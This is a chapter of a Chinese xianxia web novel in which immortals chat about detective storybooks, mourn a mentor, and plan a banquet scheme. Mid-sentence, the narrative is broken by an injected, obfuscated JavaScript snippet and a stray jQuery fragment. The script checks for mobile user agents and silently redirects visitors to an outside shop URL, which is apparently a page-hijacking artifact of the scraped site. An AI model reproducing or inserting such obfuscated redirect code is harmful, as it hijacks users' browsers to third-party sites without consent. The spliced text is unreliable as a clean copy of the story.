青晏耸耸肩:“没想到居然有朝一日能遇见同样爱看探案话本的人。”
她在颜故骤然变得惊喜的目光中轻快道:“你说的这几本我都看过,《玉笛寻凶》也是澈樾新带给我的,下界之前刚刚看完。关于文笔你说的没错,这方面它是要比《夜行录》好些,但故事却有些落入俗套,不如《夜行录》了。”
颜故频频点头:“若说故事惊心动魄,《夜行录》堪称一绝;但若论言辞缜密,行文紧凑,自当是……”
“《梨花秘史》更胜一筹。”二人几乎同时补道。
他们惊讶地看了彼此一眼,不禁又同时笑了开来。
颜故那有着好看弧度的眼尾长长地翘着,眼睛也被笑意浸染得更为明亮:“看来此书的优秀确实有目共睹。”
青晏摆摆手,话匣子不知不觉间打得更开了:“非也非也,现在风评确实如此,但当年此书面世的时候评价多是行文晦涩难以读懂,想来是因为当时所流行的文风多以简单直叙,惊险刺激为主,相比之下《梨花秘史》在这方面确实有所欠缺。但若能静下心读进去,这故事也是娓娓道来,扣人心弦的。”
“没想到今日得见同道中人,属实难得,就连总在人界游玩的澈樾都懒得给我带这样的话本,说是不好找,只是被我逼得没办法。”青晏眉眼弯弯,“你是从何时开始爱看此类话本的?”
“自小便开始了。刚被师父收入门下不久,他见我经常从细微处发现别人所不能发现之事,觉得我可能擅于此道,便特意去买了几本相关的话本给我。”颜故有些不好意思地笑笑,“但师父却没想到从此我便一发不可收拾,总要去寻新的来看,险些误了修行。不过澈樾神君所言非虚,市面上此类探案话本确实一直不多,属实难找。所以今日一见《玉笛寻凶》此等新作,便忍不住拿起翻阅一番。”
青晏颔首:“此书确实不错,正好目前无事,只是需要原地守着而已,是个消磨时间的好办法。”
“仙子放心,”颜故笑得乖巧,“我绝不会耽搁正事。另外两缕神念已经就位,目前我这边三人均一切安好。”
青晏莞尔:“我没有说你不务正业的意思,你做事我很放心。”
她眼神微动,又道:“刚才之所以让唐禾去守着那富态商人,也是觉得此事对他来说可能更是个锻炼的机会,想着待日后有更为艰巨的考验时再交给你。”
颜故神色忽地顿了一下:“仙子之意我明白,”他的眼中漾起笑意,“但其实……这件事本不需和我解释的,多谢仙子好意。”
“你既归在我座下,我自要以诚相待。”青晏倒是不以为意,“不过既然是你本人在这边看顾,想来你是觉得,这个书斋掌柜是你这三个人里最有可能遇害的?”
“这倒不是。”颜故摇摇头,目光坦然真诚,“是因为唐禾要守的那个富态商人就住在两条街外,若真有什么危险,我从这里过去很方便。”
青晏没料到会是这样的回答。她面色一怔,心中顿时生出些柔软来:“你思虑得很周全,很……好。”
颜故望着她,眸中现出潋潋神采:“仙子平时所思所虑已经够多了。唐禾年纪尚小,大家既有缘共同游历,我自是要把他当幼弟般时时照看,也好让仙子少些负担。”
青晏笑笑:“说起来也奇怪,明明你也没有比唐禾年长多少,却竟如此稳重,想来是桑疏湖仙教导得好。日后若是顺路,你便回辰落湖看一看师父吧。”
颜故低头笑了笑:“我师父的名号不过是在初见之时提过一句罢了,仙子记忆果然绝佳。不知仙子可曾见过我师父?”
青晏摇头:“并未有缘见过。不过如果不会叨扰到你师父的话,待有机会时,我们几个可以一同前去,辰落湖一定是个好地方。”
“辰落湖确实风景绝佳,只是过于偏远,我师父又是一介散仙,几乎不与太垣有什么往来,所以仙子之前未曾见过也实属正常。只是……”颜故垂眸,“我师父仙缘太浅,未能历过最后一道仙劫,现在要想见他,已是不能了。”
青晏沉默片刻,轻声道:“对不起,我竟不知……”
“仙子不必挂怀,”颜故反而劝慰起青晏来,“彼时我也曾心中郁结,修行也随之停滞不前,但如今我想开了,仙劫本就不是能安然度过的,否则也不会被称为劫数。”
他望向很远的地方,眸光从容平和:“渡劫失败后魂灵回归天地间,重新化作世间万物。所以无论是高山流水,还是花鸟草木,皆有可能是我师父的化身。只要我努力修行,能以己身庇佑苍生,便不坠我师父之志,也是在报答他的教养之恩了。”
青晏心下一阵触动。
教养之恩……
看来对于颜故而言,桑疏不仅仅是他的恩师,更是他的亲人。
自己虽没见过这位湖仙,然而颜故自年少时便拜入其门下,想来其如今仙术身法之灵动、待人接物之妥善应大多都是由桑疏言传身教而来。
如此看来,桑疏定是一位性情和善,贤良方正之人,理应飞升成仙的,只是命运无常未能如愿,委实令人嗟叹。
至于颜故,纵然他现在表现得再平静,恩师初逝时的锥心巨痛也定然深入骨髓,绵绵不绝。常人猝不及防被翻出这样的伤痛来自会不由伤怀一番,然而颜故却能在这样的心境下宽慰起别人来,足见其心性十足温柔敦厚。
念及此,青晏轻轻点了点头:“你既成了仙,便已是没有辜负你师父的用心教导,此番下界历练亦是为了更好地守护苍生。你师父见你如此,定会欣慰的。”
她的语气里破天荒地带着一丝连她自己都没察觉到的温柔。
颜故凝视着她的双眼:“仙子可也欣慰么?”
“当然,”青晏坦然道,“曾经我便和你说过,天界有你此等良材实在令人舒心。”
颜故移开眼去:“仙子真是时时为天界着想。”
“身为神仙,自然要为天界着想,”青晏冲颜故抬抬下巴,“你且接着看书吧,我先去找王夫人了。”
颜故拱手道:“日后若遇到好书,再找仙子探讨。”
“没问题。”青晏答得干脆,转身便朝着西街的方向去了。
颜故走回书斋,重新拿起那本《玉笛寻凶》读了起来。然而过了半天,故事却依旧停在青晏来时的那一页。
店内伙计见那处书架旁已许久没有发出任何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024179|148307||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声音,还以为刚才那位客人已经走了,便过去想重新把书摆一摆,没想到刚一靠近便瞥见一个宛如雕塑般的身影笔直地矗立在那,可给那伙计吓了一跳。
见有人出现,颜故这才回过神来。
他在伙计讶异的眼神里扬了扬手中的《玉笛寻凶》,微笑道:“真是本好书。”
--------------
青晏几人兵分几路,将所有还活着的赴宴者、被莫文才教训过的人以及莫文才本人都守得严严实实,全神戒备着可能前来的幕后黑手。然而足足两天过去,竟没有任何一个人出现意外——甚至连破了点皮这种小事都没有。
而目前最大的怀疑对象莫文才,这两天均在仙音阁勤勤恳恳地接待各路客人,夜晚也规规矩矩地在仙音阁睡下,毫无任何异常举动。
到了柳滢容举办私宴的这天,明煦在客舍里长吁短叹,深觉此事枯燥乏味至极,还不如来个什么大妖怪和她痛痛快快地打上一架。
她两只手都举在空中,正色道:“先说好,我可不是希望他们被弄死啊,我只是觉得这帮人把日子过得实在稀碎,我还被迫连着看了两天,烦都烦死了。”
青晏侧目:“怎么?”
“哎呀你这人,怎么还明知故问起来了,你那边情况应该也差不多吧?”明煦噘嘴,“这帮人,成天嘴上挂着的不是这家小娘子就是那家小美人儿,满脑子没点别的东西,左一家红阁右一家粉院去得勤快着,看得我眼睛耳朵都生疼。”
“我这边并不都是挨过打的,所以本人在哪待着倒还有的选,不至于一直备受摧残。”青晏托腮,“我在王夫人那看她连续打了两天的马吊牌,她手气还不错。”
明煦幽幽地望向颜故和唐禾:“你们俩呢?”
颜故轻咳一声:“我这也有一位家中姬妾甚多的,但这两天没见他去风月场所,平时就不知道了。至于其他人,日子过得都还算正常。”
唐禾也道:“我这边那位富态商人被家里夫人发现了去仙音阁招惹柳滢容的事,把他一顿好骂,提着行李带着一双儿女回千里之外的娘家去了。这商人前两天还在嘴硬,今天早上已经开始叫人准备马车收拾包袱,看样子是要去追了。”
明煦干嚎一声:“合着就我一个人倒霉!”
青晏拍拍她的肩:“感谢你的付出。”
明煦哀怨地叹了口气,很快又皱起眉头来:“今晚就要去赴柳滢容的宴了,我们是不是得先商量出来个什么办法,比如选一个人在宴席上冒犯一下柳滢容?”
青晏道:“此法可行,但要选谁去冒犯她呢?”
“我来吧。”颜故自荐道,“你们两个当日备受柳滢容青睐,私宴上突然转性会有些可疑。唐禾精神也已经紧绷了两天,这次便换我吧。”
“好,到时说什么便由你自己做主。”青晏唇边噙着笑意,“别让人立刻掀桌就好。”
“力求事后再杀我泄愤。”颜故笑盈盈地。
明煦搓了搓胳膊:“虽说道理是这么个道理,但是你这话怎么听着这么瘆得慌。”
唐禾突然憨憨地笑了一声。
明煦摸不着头脑:“这是怎么了?”